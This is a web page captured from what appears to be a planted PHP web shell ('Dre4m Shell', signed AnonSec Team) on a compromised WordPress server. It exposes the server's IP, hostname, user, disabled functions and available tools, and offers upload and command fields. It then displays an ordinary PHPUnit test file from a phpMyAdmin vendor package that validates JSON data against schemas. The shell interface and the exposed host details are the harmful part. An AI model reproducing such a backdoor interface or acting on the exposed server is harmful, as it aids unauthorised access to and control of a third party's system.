Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.118.137.13
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/phpMyAdmin/vendor/williamdes/mariadb-mysql-kbs/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/phpMyAdmin/vendor/williamdes/mariadb-mysql-kbs/test/DataTest.php
<?php
declare(strict_types = 1);
namespace Williamdes\MariaDBMySQLKBS\Test;

use \PHPUnit\Framework\TestCase;
use \Swaggest\JsonSchema\Schema;
use \stdClass;

class DataTest extends TestCase
{

    /**
     * Validate json data
     *
     * @param stdClass $contents The file contents
     * @param string   $id       The schema path
     * @example validate($slimData, __DIR__ . '/../schemas/merged-slim.json');
     * @return bool
     */
    public static function validate(stdClass $contents, string $id): bool
    {
        $schema = Schema::import($id);
        $schema->in($contents);
        return true;// No exception occured
    }

    /**
     * test that the vendor class can be found
     * if not found the test is marked as skipped
     * That will allow packagers to run tests without the vendor (Debian :wink:)
     *
     * @return void
     */
    public function testVendorFound(): void
    {
        if (class_exists(Schema::class)) {
            // tests that depend on the vendor can be run
            $this->assertTrue(true);
        } else {
            $this->markTestSkipped('vnf');
        }
    }

    /**
     * test files
     * @depends testVendorFound
     *
     * @return void
     */
    public function testFileSample(): void
    {
        $slimDataTestData = json_decode((string) file_get_contents(__DIR__ . "/data/ultraSlimDataTestWithVariables.json"));
        $this->assertTrue(self::validate($slimDataTestData, __DIR__ . '/../schemas/merged-ultraslim.json'));
    }

    /**
     * test slim data
     * @depends testVendorFound
     *
     * @return void
     */
    public function testFileSlim(): void
    {
        $slimData = json_decode((string) file_get_contents(__DIR__ . "/../dist/merged-slim.json"));
        $this->assertTrue(self::validate($slimData, __DIR__ . '/../schemas/merged-slim.json'));
    }

    /**
     * test ultra slim data
     * @depends testVendorFound
     *
     * @return void
     */
    public function testFileUltraSlim(): void
    {
        $slimData = json_decode((string) file_get_contents(__DIR__ . "/../dist/merged-ultraslim.json"));
        $this->assertTrue(self::validate($slimData, __DIR__ . '/../schemas/merged-ultraslim.json'));
    }

    /**
     * test ultra slim data
     * @depends testVendorFound
     *
     * @return void
     */
    public function testFileRaw(): void
    {
        $slimData = json_decode((string) file_get_contents(__DIR__ . "/../dist/merged-raw.json"));
        $this->assertTrue(self::validate($slimData, __DIR__ . '/../schemas/merged-raw.json'));
    }

}

Anon7 - 2022
AnonSec Team